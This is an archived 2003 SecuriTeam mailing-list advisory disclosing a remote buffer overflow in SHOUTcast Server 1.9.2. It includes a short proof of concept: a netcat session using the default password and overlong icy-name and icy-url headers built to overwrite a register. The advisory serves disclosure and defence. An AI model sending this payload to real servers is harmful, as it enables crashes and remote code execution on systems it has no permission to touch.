

Securiteam: [NEWS] SHOUTcast Server Buffer Overflow (icy-name, icy-url)

[NEWS] SHOUTcast Server Buffer Overflow (icy-name, icy-url)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2003-11/0017.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 11/03/03

To: list@securiteam.com

Date: 3 Nov 2003 19:27:06 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

SHOUTcast Server Buffer Overflow (icy-name, icy-url)

SUMMARY

<<http://www.shoutcast.com/>> SHOUTcast is "a Winamp-based distributed streaming audio system by Nullsoft". A vulnerability in the product allows remote attackers to cause the server to overflow internal buffers. This will allow a remote attacker to execute arbitrary code.

DETAILS

Vulnerable systems:

* SHOUTcast version 1.9.2

Exploit:

```
>nc target 8001
```

```
changeme
```

```
icy-name:AAA...[Ax275]BBBB[rewrite EAX]
```

```
icy-genre:DoS radio
```

```
icy-url:AAA...[Ax288]BBBB[rewrite EAX]
```

```
icy-pub:1
```

```
icy-irc:N/A
```

```
icy-icq:N/A
```

Securiteam: [NEWS] SHOUTcast Server Buffer Overflow (icy-name, icy-url)

icy-aim:N/A
icy-br:160

ADDITIONAL INFORMATION

The information has been provided by <mailto:hex@hex.net.ru> HEX.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.